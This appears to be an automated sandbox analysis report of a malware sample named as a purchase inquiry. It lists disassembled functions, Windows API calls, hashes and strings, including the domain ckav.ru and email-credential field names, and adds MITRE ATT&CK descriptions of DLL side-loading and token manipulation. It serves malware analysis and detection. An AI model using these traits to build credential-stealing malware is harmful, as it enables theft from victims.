Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: Heap$CreateFreeProcessThread_wmemset
String ID: ckav.ru
API String ID: 2915393847-2696028687
Opcode ID: eacd1f59d46a33f08cf175cca3b3b274a2abcb1d178fb3fa8030531899280e62
Instruction ID: 4531c2d42d5f5f74382d08a8027233dc497c0745a20cb628f46216a694decd77
Opcode Fuzzy Hash: eacd1f59d46a33f08cf175cca3b3b274a2abcb1d178fb3fa8030531899280e62
Instruction Fuzzy Hash: 7751B7728005047EEA113B62DD4ADEB3669EB2034CB54423BFC06B51B2E67A4D74DBED

Function 0040632F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

_wmemset.LIBCMT ref: 0040634F

Strings

CA, xrefs: 00406354, 0040635A

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess_wmemset
String ID: CA
API String ID: 2773065342-1052703068
Opcode ID: a8ac9dcd0bdef4118ea85f480caa20ceae6cf91017b4610bad34c656c12023a0
Instruction ID: fc433e2548431d42ded6bbe1dab57db4bffb986d933035261d01f02eae51e62b
Opcode Fuzzy Hash: a8ac9dcd0bdef4118ea85f480caa20ceae6cf91017b4610bad34c656c12023a0
Instruction Fuzzy Hash: 0FE09B62A4511477D121A9665C06EAF76AC8F41B64F11017FFC05B62C1E9BC9E1101FD

Function 00406086 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000000,00000001,?,004062B4,00000009,ECAE3497,00000000,00000000,IDA,004062B4,IDA,00000001,00000000,?,?), ref: 004060A8

Strings

IDA, xrefs: 00406086

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID: IDA
API String ID: 4114910276-365204570
Opcode ID: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction ID: 313645685f6ff1854c13b9bf72d10cc52e042395484f5c11e0c3c7a214e99d66
Opcode Fuzzy Hash: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction Fuzzy Hash: F4D0C93214020DBFEF025EC1DC02F993F2AAB08754F008410BB18280E1D6B39670AB95

Function 00402C03 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNELBASE(?,s1@,00000000,CEB18ABC,00000000,00000000,?,00403173,?,00000000), ref: 00402C1B

Strings

s1@, xrefs: 00402C15

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID: s1@
API String ID: 190572456-427247929
Opcode ID: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction ID: 1fbf97b0b55819c82851c7ea3a697f1c0796d20c97a22cfecd58a5260392007e
Opcode Fuzzy Hash: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction Fuzzy Hash: A5C048B10142087EAE016EE19C05CBB3F5EEA44228B008429BD18E9122EA3ADE2066A4

Function 00404A52 Relevance: 3.1, APIs: 2, Instructions: 63registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

RegOpenKeyExA.KERNELBASE(00000032,?,00000000,00020119,00000000,00000009,F4B4ACDC,00000000,00000000,MachineGuid,00000032,00000000,00413DA5,00413987), ref: 00404A9A
RegQueryValueExA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000009,00000009,FE9F661A,00000000,00000000), ref: 00404ABC

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: Heap$AllocateOpenProcessQueryValue
String ID:
API String ID: 1425999871-0
Opcode ID: cde82c20d06cc90513d2926ae88c3b2314f77feeb194b7ecfbb340b9f5de6e47
Instruction ID: c751ae4fb1a51baa23b068920df28fa5e45e9ad9ad003da97b765f6d6e9ada80
Opcode Fuzzy Hash: cde82c20d06cc90513d2926ae88c3b2314f77feeb194b7ecfbb340b9f5de6e47
Instruction Fuzzy Hash: A301B1B264010C7EEB01AED69C86DBF7B2DDB81798B10003EF60475182EAB59E1156B9

Function 004060BD Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000009,E3B938DF,00000000,00000000,00000001), ref: 00406115

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: CheckMembershipToken
String ID:
API String ID: 1351025785-0
Opcode ID: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction ID: 8b780b9e56efd5f2a9a2252a5f210822aeafba94d0ba5a8497d60ad8274f78a0
Opcode Fuzzy Hash: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction Fuzzy Hash: 7801867195020DBEEB00EBE59C86EFFB77CEF08208F100569B515B60C2EA75AF008764

Function 00403C62 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00413D1F,00000000,00000000,C8F0A74D,00000000,00000000,00000000,?,00413D1F,00000000), ref: 00403C8B

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction ID: 8def336d827aa123259dd30fe2d1f4df156212ecddfe904d71fbacf529eca846
Opcode Fuzzy Hash: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction Fuzzy Hash: 47D05E320450687A9A202AA7AC08CDB3E0DDE032FA7004036B81CE4052DB26861191E4

Function 0040642C Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNELBASE(?,00000000,E9AF4586,00000000,00000000,?,?,?,?,004144CF,00000000,00000000,00000000,00000000), ref: 00406445

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction ID: 89a273ea7bbabd9d74fc824e7d15e3b55fbc967ee531cdb223f62f0d5b23fb21
Opcode Fuzzy Hash: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction Fuzzy Hash: 60D0C9969142082A9B24FEB14E49CBB76EC9A48104B400AA8FC05E2180FD6ADF5482A5

Function 00404EEA Relevance: 1.5, APIs: 1, Instructions: 16networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,00000000,00000000,00000000), ref: 00404F07

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction ID: 973ad19c2726000f66dbac5dad6f1ecaf56acd36cc9bde1755ab86a88c27f217
Opcode Fuzzy Hash: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction Fuzzy Hash: F8D09231140209BBEF016E55EC05BAA3B69EF44B54F10C026BA18991A1DB31A9219A98

Function 00403BD0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

MoveFileExW.KERNELBASE(00000000,00412C16,?,00000000,C9143177,00000000,00000000,?,004040B6,00000000,00412C16,00000001,?,00412C16,00000000,00000000), ref: 00403BEB

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction ID: 27267517ebbd606c040c475238707358b0366275ca1c9c11413b547716cf2561
Opcode Fuzzy Hash: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction Fuzzy Hash: 5AC04C7500424C7FEF026EF19D05C7B3F5EEB49618F448825BD18D5421DA37DA216664

Function 00404DF3 Relevance: 1.5, APIs: 1, Instructions: 13networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00404E08

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction ID: edfb6e6a7b2c2d2c81179f298452045bbfcf768a57aceb16f5d93ae35c4528ea
Opcode Fuzzy Hash: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction Fuzzy Hash: 6EC08C32AA421C9FD750AAB8AD0FAF0B7ACD30AB02F0002B56E1DC60C1E550582906E2

Function 0040427D Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,00002006,00000000,CAC5886E,00000000,00000000,?,00412C3B,00000000,00000000,?), ref: 00404297

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction ID: e837d3b0865cda380a04769d40cc561620ee701a25bf2a33446201ee5459e2a9
Opcode Fuzzy Hash: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction Fuzzy Hash: A9C092B054430C3EFA102EF29D4AD3B3A8EEB41648B008435BE08E9096E977DE2061A8

Function 00404A19 Relevance: 1.5, APIs: 1, Instructions: 13registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(?,?,?,00000009,DB552DA5,00000000,00000000), ref: 00404A35

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction ID: b1d3f25f69c2166d3d07fcddbc0993e3b6974a4a806b5379996ceb22213e89af
Opcode Fuzzy Hash: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction Fuzzy Hash: 5BC012311802087FFF012EC1CC02F483E1AAB08B55F044011BA18280E1EAB3A2205658

Function 00403C40 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,FBCE7A42,00000000,00000000,?,00404344,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00403C55

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction ID: f60e35b61e15034c3e7e350ceef27d37971f1a6745175d5827dd76012fe363c0
Opcode Fuzzy Hash: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction Fuzzy Hash: 70B092B01182087EAE006AF29C05C3B3E4ECA4060874094267C08E5451F937DF2014B4

Function 00403C08 Relevance: 1.5, APIs: 1, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,00000000,DEAA357B,00000000,00000000), ref: 00403C1D

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction ID: 5639c68ad781144a2d68ff400f656d3d2c658e81fc8059c2e96e04b5885f7932
Opcode Fuzzy Hash: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction Fuzzy Hash: EDB092B04082093EAA013EF59C05C3B3E4DDA4010870048257D08E6111EA36DF1010A8

Function 00402C1F Relevance: 1.5, APIs: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?,00000000,E811E8D4,00000000,00000000), ref: 00402C34

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction ID: cd53f9395925d29cf68d66af6aae64644fca58afce9bbcd5edfe8b9605b00cd0
Opcode Fuzzy Hash: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction Fuzzy Hash: C9B092B00082083EAA002EF59C05C7F3A4DDA4410874044397C08E5411F937DE1012A5

Function 00403BEF Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00403F8D,00000000,DA6AE59A,00000000,00000000,?,00403F8D,00000000), ref: 00403C04

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction ID: 1ebc74916e7009c76bd4f38d62a0f1d2d6d24e136e2668fcc01a71b48f24aa02
Opcode Fuzzy Hash: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction Fuzzy Hash: FDB092B00442087EEE002EF1AC05C7B3F4EDA4410970044257E0CE5012E937DF1010B4

Function 00403BB7 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00413D1F,00000000,C6808176,00000000,00000000,?,00403D58,00413D1F,?,00403C6D,00413D1F,?,00413D1F,00000000), ref: 00403BCC

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction ID: 12c622a32f4ce0ce5baf48af10e49973588d22e73ecb696d4958cc4f11b8a016
Opcode Fuzzy Hash: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction Fuzzy Hash: D2B092B05042083EAE012EF19C05C7B3A6DCA40148B4088297C18E5111ED36DE5050A4

Function 004049FF Relevance: 1.5, APIs: 1, Instructions: 11registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNELBASE(00000000,00000009,D980E875,00000000,00000000,?,00404A44,?,?,00404AC6,?), ref: 00404A15

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction ID: 75bcc15c4d71fff8019d16f1d9debb39272117f3de5fdcc107556e34aff8dcac
Opcode Fuzzy Hash: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction Fuzzy Hash: 7CC092312843087AEA102AE2EC0BF093E0D9B41F98F500025B61C3C1D2E9E3E6100099

Function 00403B64 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

PathFileExistsW.KERNELBASE(?,00000002,DC0853E1,00000000,00000000), ref: 00403B7A

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction ID: 8bd75bc93bbce64143a6918826fd0663652f5dbe7ab318808702af7ec0dd126f
Opcode Fuzzy Hash: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction Fuzzy Hash: F4C0923028830C3BF9113AD2DC47F197E8D8B41B99F104025B70C3C4D2D9E3A6100199

Function 00404DE5 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00404EB0), ref: 00404DEB

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction ID: a7719220e23c04317d26723f710bfa070304820e6d91f105ed764937a1a9d613
Opcode Fuzzy Hash: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction Fuzzy Hash: F4A0113000020CEBCB002B82EE088C83F2CEA882A0B808020F80C00020CB22A8208AC8

Function 00403F9E Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(0041028C,00000000,00008000,00000000,F53ECACB,00000000,00000000,00000000,?,0041028C,00000000), ref: 00403FBA

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction ID: 31a36aa897feec3f2575a3818ba469950b8b51fe97d839facc05156de448dee4
Opcode Fuzzy Hash: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction Fuzzy Hash: 9CC08C3200613C32893069DBAC0AFCB7E0CDF036F4B104021F50C6404049235A0186F8

Function 00406472 Relevance: 1.3, APIs: 1, Instructions: 12sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(?,00000000,CFA329AD,00000000,00000000), ref: 00406487

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction ID: 8d08050a97d9600d7c0dbf2a5018eca7d85037e123ae0040efa9f3f0a7dd9c36
Opcode Fuzzy Hash: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction Fuzzy Hash: FBB092B08082083EEA002AF1AD05C3B7A8DDA4020870088257C08E5011E93ADE1150B9

Function 004058EA Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

StrStrA.KERNELBASE(?,?,00000002,C5C16604,00000000,00000000), ref: 00405903

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction ID: d5512459148ba4630ff55d530b0b04b7b8071b1588054f6e556ec5c474e97d6d
Opcode Fuzzy Hash: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction Fuzzy Hash: 82C04C3118520876EA112AD19C07F597E1D9B45B68F108425BA1C6C4D19AB3A6505559

Function 00405924 Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

StrStrW.KERNELBASE(?,?,00000002,D6865BD4,00000000,00000000), ref: 0040593D

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction ID: 5151f40d070928696ad3a3dfeafe9e6e8178c5ee17630b0dfe73cc98556a196c
Opcode Fuzzy Hash: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction Fuzzy Hash: 8FC04C311842087AEA112FD2DC07F587E1D9B45B58F104015B61C2C5D1DAB3A6105659

Non-executed Functions

Function 0040434D Relevance: 15.1, APIs: 10, Instructions: 135memorycomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040438F
CoCreateInstance.OLE32(00418EC0,00000000,00000001,00418EB0,?), ref: 004043A9
VariantInit.OLEAUT32(?), ref: 004043C4
SysAllocString.OLEAUT32(?), ref: 004043CD
VariantInit.OLEAUT32(?), ref: 00404414
SysAllocString.OLEAUT32(?), ref: 00404419
VariantInit.OLEAUT32(?), ref: 00404431

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID: InitVariant$AllocString$CreateInitializeInstance
String ID:
API String ID: 1312198159-0
Opcode ID: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction ID: 6cc2ba4480fbb4d68866773ab5e076051400aafb7d2546f6199fc19a864342a4
Opcode Fuzzy Hash: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction Fuzzy Hash: 9A414C71A00609EFDB00EFE4DC84ADEBF79FF89314F10406AFA05AB190DB759A458B94

Function 0040D069 Relevance: 12.6, Strings: 10, Instructions: 138COMMON

Download Yara Rule

Strings

EmailAddress, xrefs: 0040D074
SmtpAccount, xrefs: 0040D0FA
Technology, xrefs: 0040D08D
PopServer, xrefs: 0040D099
SmtpPassword, xrefs: 0040D117
SmtpPort, xrefs: 0040D0EB
PopPort, xrefs: 0040D0A7
PopAccount, xrefs: 0040D0B6
PopPassword, xrefs: 0040D0D0
SmtpServer, xrefs: 0040D0DC

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID:
String ID: EmailAddress$PopAccount$PopPassword$PopPort$PopServer$SmtpAccount$SmtpPassword$SmtpPort$SmtpServer$Technology
API String ID: 0-2111798378
Opcode ID: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction ID: 091e628055053f5eef329adcdd4db079f25726ad560f051e033024c376855220
Opcode Fuzzy Hash: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction Fuzzy Hash: AE414EB5941218BADF127BE6DD42F9E7F76EF94304F21003AF600721B2C77A99609B48

Function 0040317B Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Purchase Inquiry_#466789.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction ID: 125f84157e295c2adc52e6f8c9cb261871d96e12da6c9e12f7e31892ee598d11
Opcode Fuzzy Hash: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction Fuzzy Hash: 0B01A272A10204ABDB21DF59C885E6FF7FCEB49761F10417FF804A7381D639AE008A64

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

